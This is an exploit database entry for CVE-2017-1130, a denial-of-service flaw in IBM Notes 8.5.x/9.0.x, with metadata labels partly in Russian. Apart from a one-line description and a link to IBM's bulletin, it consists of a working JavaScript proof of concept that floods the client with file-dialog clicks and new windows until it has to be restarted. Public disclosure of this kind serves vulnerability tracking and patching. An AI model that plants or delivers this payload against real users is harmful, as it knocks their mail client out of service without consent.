Exploit IBM Notes 8.5.x/9.0.x - Denial of Service (2)

[Exploiter]

EDB-ID

42604

Проверка EDB

1. Пройдено

Автор

DHIRAJ MISHRA

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2017-1130

Дата публикации

2017-08-31

IBM Notes 8.5.x/9.0.x - Denial of Service (2)

# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
# Exploit Author: Dhiraj Mishra 
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1130
# Category:  IBM Notes (Console Application)
 
 
1. Description
 
IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted. 
 
2. Proof of concept
 
<script>
var w;
var wins = {};
var i = 1;
f.click();
setInterval("f.click()", 1);
setInterval(function(){
	for (var k in wins) {
		// after creating window .status = '' (empty string), when the file dialog is displayed its value changes to 'undefined'.
		if (wins[k] && wins[k].status === undefined) {
			wins[k].close();
			delete wins[k];
		}
	}
	w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
	if (w) {
		wins[i] = w;
		i++;
	}
}, 1);
</script>
 
 
3. IBM Security Bulletin
 
http://www-01.ibm.com/support/docview.wss?uid=swg21999384